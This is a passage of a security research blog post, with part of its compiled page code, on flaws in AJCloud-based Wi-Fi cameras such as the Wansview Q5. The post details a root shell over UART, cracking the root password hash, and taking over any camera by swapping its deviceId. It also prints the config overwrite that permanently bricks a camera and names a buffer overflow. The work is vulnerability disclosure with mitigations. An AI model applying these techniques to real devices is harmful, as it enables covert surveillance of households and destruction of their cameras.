and small, including but not limited to the following:\n\n* [Wansview](https://www.wansview.com)\n* [Cinnado](https://cinnado.com)\n* [Galayou](https://www.amazon.com/stores/GALAYOU/page/789538ED-82AC-43AF-B676-6622577A1982?ref_=ast_bln\u0026store_ref=bl_ast_dp_brandLogo_sto)\n* [Faleemi](https://www.faleemi.com)\n* [Philips](https://www.philips.com)\n* [Septekon](https://www.septekon.com)\n* [Smarteye](https://www.smarteyegroup.com)\n* [Homeguard](http://www.homeguardworld.com)\n* [iPupPee](https://ipuppee.com)\n\nA cursory review of mobile and desktop applications developed and published by AJCloud on [Google Play](https://play.google.com/store/apps/developer?id=AJCLOUD+INTERNATIONAL+INC.\u0026hl=en_US), [Apple’s App Store](https://apps.apple.com/us/developer/ajcloud-labs-inc/id1396464400), and the [Microsoft Store](https://apps.microsoft.com/search/publisher?name=%E5%8D%97%E4%BA%AC%E5%AE%89%E5%B1%85%E4%BA%91%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8\u0026hl=en-us\u0026gl=US) reveals their ties to each of these vendors. Besides superficial company branding, these applications are identical in form and function, and they all require connectivity with the AJCloud management platform.\n\n\n\nAs for the cameras, it is apparent that these vendors are selling similar models with only minor modifications to the camera housing and underlying hardware.\n\n\n\n\n\nThe resemblance between the [Faleemi 886](https://www.faleemi.com/product/fsc886/) and the [Wansview Q6 (1080p)](https://www.youtube.com/watch?v=X5P5fGhRxAs) is obvious\n\nReusing hardware manufacturing and software development resources likely helps to control costs and simplify logistics for AJCloud and its resellers. However, this streamlining of assets also means that security vulnerabilities discovered in one camera model would likely permeate all products associated with AJCloud.\n\nDespite its critical role in bringing these devices to consumers, AJCloud has a relatively low public profile. However, IPVM researchers recently [published](https://ipvm.com/reports/ajcloud-wansview-leak) research on a significant vulnerability (which has since been resolved) in AJCloud’s GitLab repository. This vulnerability would allow any user to access source code, credentials, certificates, and other sensitive data without requiring authentication.\n\nThough total sales figures are difficult to derive for Wansview and other vendors in the Wi-Fi camera space, IPVM estimated that at least one million devices were connected to the AJCloud platform at the time of publication of their report. As camera sales [continue to soar](https://www.statista.com/forecasts/1301193/worldwide-smart-security-camera-homes) into the hundreds of millions, it is safe to assume that more of AJCloud’s devices will be connected in homes across the world for years to come.\n\n## Initial Vulnerability Research Efforts\n\nTo gain a deeper understanding of the security posture of the Wansview Q5, we attacked it from multiple angles:\n\n\n\nAt first, our efforts were primarily focused on active and passive network reconnaissance of the camera and the [Android version](https://play.google.com/store/apps/details?id=net.ajcloud.wansviewplus\u0026hl=en_US) of Wansview Cloud, Wansview’s official mobile app. We scanned for open ports, eavesdropped on network communications through man-in-the-middle (MitM) attacks, attempted to coerce unpredictable behavior from the cameras through intentional misconfiguration in the app, and disrupted the operation of the cameras by abusing the QR code format and physically interacting with the camera. The devices and their infrastructure were surprisingly resilient to these types of surface-level attacks, and our initial efforts yielded few noteworthy successes.\n\nWe were particularly surprised by our lack of success intercepting network communications on both the camera and the app. We repeatedly encountered robust security features (e.g., certificate pinning, app and OS version restrictions, and properly secured TLS connections) that disrupted our attempts.\n\n\n\nReverse engineering tools allowed us to analyze the APK much more closely, though the complexity of the code obfuscation observed within the decompiled Java source code would require an extended length of time to fully piece together.\n\nOur limited initial success would require us to explore further options that would provide us with more nuanced insight into the Q5 and how it operates.\n\n## Initial Hardware Hacking\n\nTo gain more insight into how the camera functioned, we decided to take a closer look at the camera firmware. While some firmware packages are available online, we wanted to take a look at the code directly and be able to monitor it and the resulting logs while the camera was running. To do this, we first took a look at the hardware diagram for the system on a chip (SoC) to see if there were any hardware avenues we might be able to leverage. The Wansview Q5 uses a [Ingenic Xburst T31 SoC](https://www.cnx-software.com/2020/04/26/ingenic-t31-ai-video-processor-combines-xburst-1-mips-and-risc-v-lite-cores/), its system block diagram is depicted below.\n\n\n\nOne avenue that stood out to us was the I2Cx3/UARTx2/SPIx2 SPI I/O block. If accessible, these I/O blocks often provide log output interfaces and/or shell interfaces, which can be used for debugging and interacting with the SoC. Appearing promising, we then performed a hardware teardown of the camera and found what appeared to be a UART serial interface to the SoC, shown below.\n\n\n\nNext, we connected a logic analyzer to see what protocol was being used over these pins, and when decoded, the signal was indeed UART.\n\n\n\nNow that we can access an exposed UART interface, we then looked to establish a shell connection to the SoC via UART. There are a number of different software mechanisms to do this, but for our purposes we used the Unix utility `screen` with the detected baud rate from the logic analyzer. \n\n\n\nUpon opening and monitoring the boot sequence, we discovered that secure boot was not enabled despite being supported by the SoC. We then proceeded to modify the configuration to boot into single user mode providing a root shell for us to use to examine the firmware before the initialization processes were performed, shown below. \n\n\n\nOnce in single-user mode, we were able to pull the firmware files for static analysis using the `binwalk` utility, as shown below. \n\n\n\nAt this stage, the filesystem is generally read-only; however, we wanted to be able to make edits and instantiate only specific parts of the firmware initialization as needed, so we did some quick setups for additional persistence beyond single-user mode access. This can be done in a number of ways, but there are two primary methods one may wish to use. Generally speaking, in both approaches, one will want to make as few modifications to the existing configuration as possible. This is generally preferred when running dynamic analysis if possible, as we have had the least impact on the run time environment. One method we used for this approach is to make a `tmpfs` partition for read/write access in memory and mount it via `fstab`. In our case `fstab` was already considered in such a way that supported this, and as such made it a very minimal change. See the commands and results for this approach below.\n\n\n\nAnother method is to pull existing user credentials and attempt to use these to log in. This approach was also successful. The password hash for the root user can be found in the `etc/passwd` file and decrypted using a tool like John the Ripper. In our above examples, we were transferring data and files entirely over the serial connection. The camera also has an available SD card slot that can be mounted and used to transfer files. Going forward, we will be using the SD card or local network for moving files as the bandwidth makes for faster and easier transfer; however, serial can still be used for all communications for the hardware setup and debugging if preferred.\n\nNow, we have root level access to the camera providing access to the firmware and dmesg logs while the software is running. Using both the firmware and logs as reference, we then looked to further examine the user interfaces for the camera to see if there was a good entry point we could use to gain further insight.\n\n## Wansview Cloud for Windows\n\nAfter the mobile apps proved to be more secure than we had originally anticipated, we shifted our focus to an older version of the Wansview Cloud application built for Windows 7. This app, which is still [available for download](https://www.wansview.com/support_download), would provide us with direct insight into the network communications involved with cameras connected to the AJCloud platform.\n\nThanks in large part to overindulgent debug logging on behalf of the developers, the Windows app spills out its secrets with reckless abandon seldom seen in commercial software. The first sign that things are amiss is that user login credentials are logged in cleartext.\n\n\n\nReverse engineering the main executable and DLLs (which are not packed, unlike the Wansview Cloud APK) was expedited thanks to the frequent use of verbose log messages containing unique strings. Identifying references to specific files and lines within its underlying codebase helped us to quickly map out core components of the application and establish the high level control flow.\n\nNetwork communications, which were difficult for us to intercept on Android, are still transmitted over TLS, though they are conveniently logged to disk in cleartext. With full access to all HTTP POST request and response data (which is packed into JSON objects), there was no further need to pursue MitM attacks on the application side. \n\n\n\n\n\nWithin the POST responses, we found sensitive metadata including links to publicly accessible screen captures along with information about the camera’s location, network configuration, and its firmware version.\n\n\n\n\n\nAfter documenting all POST requests and responses found within the log data, we began to experiment with manipulating different fields in each request in an attempt to access data not associated with our camera or account. We would eventually utilize a debugger to change the deviceId to that of a target camera not paired with the current logged in account. A camera deviceId doubles as its serial number and can be found printed on a sticker label located on either the back or bottom of a camera.\n\n\n\nWe found the most appropriate target for our attack in a code section where the deviceId is first transmitted in a POST request to [https://sdc-us.ajcloud.net/api/v1/dev-config](https://sdc-us.ajcloud.net/api/v1/dev-config):\n\n\n\nOur plan was to set a breakpoint at the instruction highlighted in the screenshot above, swap out the deviceId within memory, and then allow the app to resume execution.\n\nAmazingly enough, this naive approach not only worked to retrieve sensitive data stored in the AJCloud platform associated with the target camera and the account it is tied to, but it also connected us to the camera itself. This allowed us to access its video and audio streams and remotely control it through the app as if it were our own camera.\n\nThrough exploiting this vulnerability and testing against multiple models from various vendors, we determined that all devices connected to the AJCloud platform could be remotely accessed and controlled in this manner. We wrote a [PoC exploit script](https://github.com/elastic/camera-hacks/blob/main/windows/win_exploit.py) to automate this process and effectively demonstrate the ease with which this access control vulnerability within AJCloud’s infrastructure can be trivially exploited.\n\n## Exploring the network communications\n\nThough we were able to build and reliably trigger an exploit against a critical vulnerability in the AJCloud platform, we would need to dig further in order to gain a better understanding of the inner workings of the apps, the camera firmware, and the cloud infrastructure.\n\nAs we explored beyond the POST requests and responses observed throughout the sign-in process, we noticed a plethora of UDP requests and responses from a wide assortment of IPs. Little in the way of discernible plaintext data could be found throughout these communications, and the target UDP port numbers for the outbound requests seemed to vary. Further investigation would later reveal that this UDP activity was indicative of PPPP, an IoT peer-to-peer (P2P) protocol that was analyzed and demonstrated extensively by Paul Marrapesse during his [presentation at DEF CON 28](https://youtu.be/Z_gKEF76oMM?si=cqCBU6iPxCyEm-xm). We would later conclude that the way in which we exploited the vulnerability we discovered was facilitated through modified P2P requests, which led us to further explore the critical role that P2P plays in the AJCloud platform.\n\n\n\nThe main purpose of P2P is to facilitate communication between applications and IoT devices, regardless of the network configurations involved. P2P primarily utilizes an approach based around [UDP hole punching](https://en.wikipedia.org/wiki/UDP_hole_punching) to create temporary communication pathways that allow requests to reach their target either directly or through a relay server located in a more accessible network environment. The core set of P2P commands integrated into AJCloud’s apps provides access to video and audio streams as well as the microphone and pan/tilt/zoom.\n\n## Advanced Hardware Hacking\n\nWith our additional understanding of the P2P communications, it was now time to examine the camera itself more closely during these P2P conversations, including running the camera software in a debugger. To start, we set up the camera with a live logging output via the UART serial connection that we established earlier, shown below.\n\n\n\nThis provided a live look at the log messages from the applications as well as any additional logging sources we needed. From this information, we identified the primary binary that is used to establish communication between the camera and the cloud as well as providing the interfaces to access the camera via P2P. \n\nThis binary is locally called initApp, and it runs once the camera has been fully initialized and the boot sequence is completed. Given this, we set out to run this binary with a debugger to better evaluate the local functions. In attempting to do so, we encountered a kernel watchdog that detected when initApp was not running and would forcibly restart the camera if it detected a problem. This watchdog checks for writes to `/dev/watchdog` and, if these writes cease, will trigger a timer that will reboot the camera if the writes do not resume. This makes debugging more difficult as when one pauses the execution of initApp, the writes to the watchdog pause as well. An example of this stopping behavior is shown below:\n\n\n\nTo avoid this, one could simply try writing to the watchdog whenever initApp stops to prevent the reboot. However, another cleaner option is to make use of the magic close feature of the [Linux Kernel Watchdog Driver API](https://www.kernel.org/doc/Documentation/watchdog/watchdog-api.txt). In short, if one writes a specific magic character ‘V’ `/dev/watchdog` the watchdog will be disabled. There are other methods of defeating the watchdog as well, but this was the one we chose for our research as it makes it easy to enable and disable the watchdog at will.\n\nWith the watchdog disabled, setting up to debug initApp is fairly straightforward. We wanted to run the code directly on the camera, if possible, instead of using an emulator. The architecture of the camera is Little Endian MIPS (MIPSEL). We were fortunate that pre-built GDB and GDBServer binaries were able to function without modification; however, we did not know this initially, so we also set up a toolchain to compile GDBServer specifically for the camera. One technique that might be useful if you find yourself in a similar situation is to use a compilation tool like gcc to compile some source code to your suspected target architecture and see if it runs; see the example below.\n\n\n\nIn our case, since our SoC was known to us, we were fairly certain of the target architecture; however, in certain situations, this may not be so simple to discover, and working from hello world binaries can be useful to establish an initial understanding. Once we were able to compile binaries, we then compiled GDBServer for our camera and then used it to attach and launch initApp. Then, we connected to it from another computer on the same local network as the camera. An example of this is shown below:\n\n\n\nAs a note for the above example, we are using the `-x` parameter to pass in some commands for convenience, but they are not necessary for debugging. For more information on any of the files or commands, please see our [elastic/camera-hacks](https://github.com/elastic/camera-hacks/tree/main) GitHub repo. In order for initApp to load properly, we also needed to ensure that the libraries used by the binary were accessible via the `PATH` and `LD_LIBARY_PATH` environment variables. With this setup, we were then able to debug the binary as we needed. Since we also used the magic character method of defeating the watchdog earlier we also will need to make sure to control instances where the watchdog can be re-enabled. In most cases, we do not want this to happen. As such, we overwrote the watchdog calls in initApp so that the watchdog would not be re-enabled while we were debugging, as shown below.\n\n\n\nThe following video shows the full setup process from boot to running GDBServer. In the video, we also start a new initApp process, and as such, we need to kill both the original process and the `daemon.sh` shell script that will spawn a new initApp process if it is killed.\n\n\n\n## Building a P2P Client\n\nIn order to further explore the full extent of capabilities which P2P provides to AJCloud IoT devices and how they can be abused by attackers, we set out to build our own standalone client. This approach would remove the overhead of manipulating the Wansview Cloud Windows app while allowing us to more rapidly connect to cameras and test out commands we derive from reverse engineering the firmware.\n\nFrom the configuration data we obtained earlier from the Windows app logs, we knew that a client issues requests to up to three different servers as part of the connection process. These servers provide instructions to clients as to where traffic should be routed in order to access a given camera. If you would like to discover more of these servers out in the open, you can scan the Internet using the following four-byte UDP payload on port `60722`. Paul Marrapese used this technique to great effect as part of his research.\n\n\n\n\n\nIn order to properly establish a P2P connection, a client must first send a simple hello message (`MSG_HELLO`), which needs to be ACK’d (`MSG_HELLO_ACK`) by a peer-to-peer server. The client then queries the server (`MSG_P2P_REQ`) for a particular deviceId. If the server is aware of that device, then it will respond (`MSG_PUNCH_TO`) to the client with a target IP address and UDP port number pair. The client will then attempt to connect (`MSG_PUNCH_PKT`) to the IP and port pair along with other ports [within a predetermined range](https://github.com/elastic/camera-hacks/blob/deb2abe9a7a1009c5c1b7d34584f143d5b62c82e/p2p/p2p_client.py#L247-L260) as part of a [UDP hole punching](https://en.wikipedia.org/wiki/UDP_hole_punching) routine. If successful, the target will send a message (`MSG_PUNCH_PKT`) back to the client along with a final message (`MSG_P2P_RDY`) to confirm that the connection has been established.\n\n\n\nAfter connecting to a camera, we are primarily interested in sending different `MSG_DRW` packets and observing their behavior. These packets contain commands which will allow us to physically manipulate the camera, view and listen to its video and audio streams, access data stored within it, or alter its configuration. The most straightforward command we started with involved panning the camera counter clockwise, which we could easily identify as a single message transmission.\n\n\n\nDebug log messages on the camera allowed us to easily locate where this command was processed within the firmware.\n\n\n\nLocating the source of this particular message placed us in the main routine which handles processing MSG_DRW messages, which provided us with critical insight into how this command is invoked and what other commands are supported by the firmware.\n\n\n\nExtensive reverse engineering and testing allowed us to build a [PoC P2P client](https://github.com/elastic/camera-hacks/blob/main/p2p/p2p_client.py) which allows users to connect to any camera on the AJCloud platform, provided they have access to its deviceId. Basic commands supported by the client include camera panning and tilting, rebooting, resetting, playing audio clips, and even crashing the firmware.\n\nThe most dangerous capability we were able to implement was through a command which modifies a core device configuration file: `/var/syscfg/config_default/app_ajy_sn.ini`. On our test camera, the file’s contents were originally as follows:\n\n```\n[common]\nproduct_name=Q5\nmodel=NAV\nvendor=WVC\nserialnum=WVCD7HUJWJNXEKXF\nmacaddress=\nwifimacaddress=\n```\n\nWhile this appears to contain basic device metadata, this file is the only means through which the camera knows how to identify itself. Upon startup, the camera reads in the contents of this file and then attempts to connect to the AJCloud platform through a series of curl requests to various API endpoints. These curl requests pass along the product name, camera model, vendor code, and serial number values extracted from the INI file as query string arguments. We used our client to deliver a message which overwrites the contents like so:\n\n```\n[common]\nproduct_name=\nmodel=OPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01\nvendor=YZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~HH01\nserialnum=defghijklmnopqrstuvwxyz{|}~HH01\nmacaddress=\nwifimacaddress=\n```\n\nAfter the camera is reset, all curl requests issued to AJCloud platform API endpoints as part of the startup routine will fail due to the malformed data contained within the INI file. These requests will continue to periodically be sent, but they will never succeed and the camera will remain inactive and inaccessible through any apps. Unfortunately, there is no simple way to restore the previous file contents through resetting the camera, updating its firmware, or restoring the factory settings. File modifications carried out through this command will effectively brick a camera and render it useless.\n\n\u003ciframe src=\"https://drive.google.com/file/d/1oK_umHYfScza-F5RQNUGgFe3GFOt5n--/preview\" width=\"640\" height=\"480\" allow=\"autoplay\"\u003e\u003c/iframe\u003e\n\nTaking a closer look at the decompiled function (`syscfg_setAjySnParams`) which overwrites the values stored in `app_ajy_sn.ini`, we can see that input parameters, extracted from the `MSG_DRW` command are used to pass along string data which will be used to overwrite the model, vendor, and serial number fields in the file. memset is used to overwrite three global variables, intended to store these input strings, with null bytes. strcpy is then used to transfer the input parameters into these globals. In each instance, this will result in bytes being copied directly from the `MSG_DRW` command buffer until it encounters a null character.\n\n\n\nBecause no validation is enforced on the length of these input parameters extracted from the command, it is trivial to craft a message of sufficient length which will trigger a buffer overflow. While we did not leverage this vulnerability as part of our attack to brick the camera, this appears to be an instance where an exploit could be developed which would allow for an attacker to achieve remote code execution on the camera.\n\n## Impact\n\nWe have confirmed that a broad range of devices across several vendors affiliated with AJCloud and several different firmware versions are affected by these vulnerabilities and flaws. Overall, we successfully demonstrated our attacks against fifteen different camera products from Wansview, Galayou, Cinnado, and Faleemi. Based on our findings, it is safe to assume that all devices which operate AJCloud firmware and connect to the AJCloud platform are affected.\n\nAll attempts to contact both AJCloud and Wansview in order to disclose these vulnerabilities and flaws were unsuccessful.\n\n## What did the vendors do right?\n\nDespite the vulnerabilities we discovered and discussed previously, there are a number of the security controls that AJCloud and the camera vendors implemented well. For such a low cost device, many best practices were implemented. First, the network communications are secured well using certificate based WebSocket authentication. In addition to adding encryption, putting many of the API endpoints behind the certificate auth makes man in the middle attacks significantly more challenging. Furthermore, the APKs for the mobile apps were signed and obfuscated making manipulating these apps very time consuming. \n\nAdditionally, the vendors also made some sound decisions with the camera hardware and firmware. The local OS for the camera is effectively limited, focusing on just the needed functionality for their product. The file system is configured to be read only, outside of logging, and the kernel watchdog is an effective method of ensuring uptime and reducing risk of being stuck in a failed state. The Ingenic Xburst T31 SoC, provides a capable platform with a wide range of support including secure boot, a Power-On Reset (POR) watchdog, and a separate RISC-V processor capable of running some rudimentary machine learning on the camera input.\n\n## What did the vendors do wrong?\n\nUnfortunately, there were a number of missed opportunities with these available features. Potentially the most egregious is the unauthenticated cloud access. Given the API access controls established for many of the endpoints, having the camera user access endpoints available via serial number without authentication is a huge and avoidable misstep. The P2P protocol is also vulnerable as we showcased, but compared to the API access which should be immediately fixable, this may take some more time to fix the protocol. It is a very dangerous vulnerability, but it is a little bit more understandable as it requires considerably more time investment to both discover and fix. \n\nFrom the application side, the primary issue is with the Windows app which has extensive debug logging which should have been removed before releasing publicly. As for the hardware, it can be easily manipulated with physical access (exposed reset button, etc.). This is not so much an issue given the target consumer audience. It is expected to err on the side of usability rather than security, especially given physical access to the device. On a similar note, secure boot should be enabled, especially given that the T31 SoC supports it. While not strictly necessary, this would make it much harder to debug the source code and firmware of the device directly, making it more difficult to discover vulnerabilities that may be present. Ideally it would be implemented in such a way that the bootloader could still load an unsigned OS to allow for easier tinkering and development, but would prevent the signed OS from loading until the boot loader configuration is restored. However, one significant flaw in the current firmware is the dependence on the original serial number that is not stored in a read only mount point while the system is running. Manipulating the serial number should not permanently brick the device. It should either have a mechanism for requesting a new serial number (or restoring its original serial number) should its serial number be overwritten, or the serial number should be immutable. \n\n## Mitigations\n\nCertain steps can be taken in order to reduce the attack surface and limit potential adverse effects in the event of an attack, though they vary in their effectiveness.\n\nSegmenting Wi-Fi cameras and other IoT devices off from the rest of your network is a highly recommended countermeasure which will prevent attackers from pivoting laterally to more critical systems. However, this approach does not prevent an attacker from obtaining sensitive user data through exploiting the access control vulnerability we discovered in the AJCloud platform. Also, considering the ease in which we were able to demonstrate how cameras could be accessed and manipulated remotely via P2P, any device connected to the AJCloud platform is still at significant risk of compromise regardless of its local network configuration.\n\nRestricting all network communications to and from these cameras would not be feasible due to how essential connectivity to the AJCloud platform is to their operation. As previously mentioned, the devices will simply not operate if they are unable to connect to various API endpoints upon startup.\n\nA viable approach could be restricting communications beyond the initial startup routine. However, this would prevent remote access and control via mobile and desktop apps, which would defeat the entire purpose of these cameras in the first place. For further research in this area, please refer to “[Blocking Without Breaking: Identification and Mitigation of Non-Essential IoT Traffic](https://petsymposium.org/popets/2021/popets-2021-0075.pdf)”, which explored this approach more in-depth across a myriad of IoT devices and vendors.\n\nThe best approach to securing any Wi-Fi camera, regardless of vendor, while maintaining core functionality would be to flash it with alternative open source firmware such as [OpenIPC](https://openipc.org) or [thingino](https://thingino.com). Switching to open source firmware avoids the headaches associated with forced connectivity to vendor cloud platforms by providing users with fine grain control of device configuration and remote network accessibility. Open access to the firmware source helps to ensure that critical flaws and vulnerabilities are quickly identified and patched by diligent project contributors.\n\n## Key Takeaways\n\nOur research revealed several critical vulnerabilities that span all aspects of cameras operating AJCloud firmware which are connected to their platform. Significant flaws in access control management on their platform and the PPPP peer protocol provides an expansive attack surface which affects millions of active devices across the world. Exploiting these flaws and vulnerabilities leads to the exposure of sensitive user data and provides attackers with full remote control of any camera connected to the AJCloud platform. Furthermore, a built-in P2P command, which intentionally provides arbitrary write access to a key configuration file, can be leveraged to either permanently disable cameras or facilitate remote code execution through triggering a buffer overflow.\n\nPlease visit our [GitHub repository](https://github.com/elastic/camera-hacks) for custom tools and scripts we have built along with data and notes we have captured which we felt would provide the most benefit to the security research community.\n","code":"var Component=(()=\u003e{var d=Object.create;var n=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,w=Object.prototype.hasOwnProperty;var g=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),f=(i,e)=\u003e{for(var o in e)n(i,o,{get:e[o],enumerable:!0})},s=(i,e,o,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of m(e))!w.call(i,a)\u0026\u0026a!==o\u0026\u0026n(i,a,{get:()=\u003ee[a],enumerable:!(r=p(e,a))||r.enumerable});return i};var b=(i,e,o)=\u003e(o=i!=null?d(u(i)):{},s(e||!i||!i.__esModule?n(o,\"default\",{value:i,enumerable:!0}):o,i)),v=i=\u003es(n({},\"__esModule\",{value:!0}),i);var h=g((_,l)=\u003e{l.exports=_jsx_runtime});var P={};f(P,{default:()=\u003eA,frontmatter:()=\u003ey});var t=b(h()),y={title:\"Storm on the Horizon: Inside the AJCloud IoT Ecosystem\",slug:\"storm-on-the-horizon\",date:\"2024-09-20\",description:\"Wi-Fi cameras are popular due to their affordability and convenience but often have security vulnerabilities that can be exploited.\",author:[{slug:\"mark-mager\"},{slug:\"eric-forte\"}],image:\"storm-on-the-horizon.jpg\",category:[{slug:\"security-research\"},{slug:\"perspectives\"}],tags:[\"iot\",\"defcon\"]};function c(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",img:\"img\",ul:\"ul\",li:\"li\",code:\"code\",pre:\"pre\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,t.jsx)(e.p,{children:\"Wi-Fi cameras are some of the most common IoT devices found in households, businesses, and other public spaces. They tend to be quite affordable and provide users with easy access to a live video stream on their mobile device from anywhere on the planet. As is often the case with IoT devices, security tends to be overlooked in these cameras, leaving them open to critical vulnerabilities. If exploited, these vulnerabilities can lead to devastating effects on the cameras and the networks within which they\\u2019re deployed. They can lead to the compromise of the sensitive PII of their users.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"A recent \",(0,t.jsx)(e.a,{href:\"https://www.youtube.com/watch?v=qoojLdKJvkc\",rel:\"nofollow\",children:\"Elastic ON Week\"}),\" afforded us the opportunity to explore the attack surface of these types of devices to gain a deeper understanding of how they are being compromised. We focused primarily on performing vulnerability research on the \",(0,t.jsx)(e.a,{href:\"https://www.amazon.com/Wireless-Security-Wansview-Detection-Compatible/dp/B07QKXM2D3?th=1\",rel:\"nofollow\",children:\"Wansview Q5\"}),\" (along with the nearly identical \",(0,t.jsx)(e.a,{href:\"https://www.wansview.com/q6\",rel:\"nofollow\",children:\"Q6\"}),\"), one of the more popular and affordable cameras sold on Amazon. Wansview is a provider of security products based in Shenzhen, China, and one of Amazon's more prominent distributors of Wi-Fi cameras.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image12.png\",alt:\"\",title:\"image_tooltip\",width:\"1600\",height:\"1600\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The Q5 offers the same basic feature set seen in most cameras:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Pan / tilt / zoom\"}),`\n`,(0,t.jsx)(e.li,{children:\"Night vision\"}),`\n`,(0,t.jsx)(e.li,{children:\"Two-way audio\"}),`\n`,(0,t.jsx)(e.li,{children:\"Video recording to SD card\"}),`\n`,(0,t.jsx)(e.li,{children:\"Integration with Smart Home AI assistants (e.g. Alexa)\"}),`\n`,(0,t.jsx)(e.li,{children:\"ONVIF for interoperability with other security products\"}),`\n`,(0,t.jsx)(e.li,{children:\"RTSP for direct access to video feed within LAN\"}),`\n`,(0,t.jsx)(e.li,{children:\"Automated firmware updates from the cloud\"}),`\n`,(0,t.jsx)(e.li,{children:\"Remote technical support\"}),`\n`,(0,t.jsx)(e.li,{children:\"Shared device access with other accounts\"}),`\n`,(0,t.jsx)(e.li,{children:\"Optional monthly subscription for cloud storage and motion detection\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Like most other Wi-Fi cameras, these models require an active connection to their vendor cloud infrastructure for basic operation; without access to the Internet, they simply will not operate. Before a camera can go live, it must be paired to a \",(0,t.jsx)(e.a,{href:\"https://www.youtube.com/watch?v=UiF7xKnXfC0\",rel:\"nofollow\",children:\"registered user account\"}),\" via Wansview\\u2019s official mobile app and a standard \",(0,t.jsx)(e.a,{href:\"https://youtu.be/PLMNKoO1214?si=G8sYxT3EagE3u_cw\",rel:\"nofollow\",children:\"QR code-based setup process\"}),\". Once this process is complete, the camera will be fully online and operational.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"ajcloud-a-brief-introduction\",children:\"AJCloud: A Brief Introduction\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Though Wansview has been in operation \",(0,t.jsx)(e.a,{href:\"https://www.wansview.com/about_company\",rel:\"nofollow\",children:\"since 2009\"}),\", at the moment they primarily appear to be a reseller of camera products built by a separate company based in Nanjing, China: \",(0,t.jsx)(e.a,{href:\"https://www.ajcloud.net\",rel:\"nofollow\",children:\"AJCloud\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image19.png\",alt:\"\",title:\"image_tooltip\",width:\"667\",height:\"157\"})}),`\n`,(0,t.jsx)(e.p,{children:\"AJCloud provides vendors with access to manufactured security devices, the necessary firmware, mobile and desktop user applications, the cloud management platform, and services that connect everything together. Since AJCloud was founded in 2018, they have partnered with several vendors, both large and small, including but not limited to the following:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.wansview.com\",rel:\"nofollow\",children:\"Wansview\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://cinnado.com\",rel:\"nofollow\",children:\"Cinnado\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.amazon.com/stores/GALAYOU/page/789538ED-82AC-43AF-B676-6622577A1982?ref_=ast_bln\u0026store_ref=bl_ast_dp_brandLogo_sto\",rel:\"nofollow\",children:\"Galayou\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.faleemi.com\",rel:\"nofollow\",children:\"Faleemi\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.philips.com\",rel:\"nofollow\",children:\"Philips\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.septekon.com\",rel:\"nofollow\",children:\"Septekon\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.smarteyegroup.com\",rel:\"nofollow\",children:\"Smarteye\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"http://www.homeguardworld.com\",rel:\"nofollow\",children:\"Homeguard\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://ipuppee.com\",rel:\"nofollow\",children:\"iPupPee\"})}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A cursory review of mobile and desktop applications developed and published by AJCloud on \",(0,t.jsx)(e.a,{href:\"https://play.google.com/store/apps/developer?id=AJCLOUD+INTERNATIONAL+INC.\u0026hl=en_US\",rel:\"nofollow\",children:\"Google Play\"}),\", \",(0,t.jsx)(e.a,{href:\"https://apps.apple.com/us/developer/ajcloud-labs-inc/id1396464400\",rel:\"nofollow\",children:\"Apple\\u2019s App Store\"}),\", and the \",(0,t.jsx)(e.a,{href:\"https://apps.microsoft.com/search/publisher?name=%E5%8D%97%E4%BA%AC%E5%AE%89%E5%B1%85%E4%BA%91%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8\u0026hl=en-us\u0026gl=US\",rel:\"nofollow\",children:\"Microsoft Store\"}),\" reveals their ties to each of these vendors. Besides superficial company branding, these applications are identical in form and function, and they all require connectivity with the AJCloud management platform.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image26.png\",alt:\"\",title:\"image_tooltip\",width:\"995\",height:\"808\"})}),`\n`,(0,t.jsx)(e.p,{children:\"As for the cameras, it is apparent that these vendors are selling similar models with only minor modifications to the camera housing and underlying hardware.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image16.png\",alt:\"\",title:\"image_tooltip\",width:\"451\",height:\"500\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/storm-on-the-horizon/image9.png\",alt:\"\",title:\"image_tooltip\",width:\"500\",height:\"500\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The resemblance between the 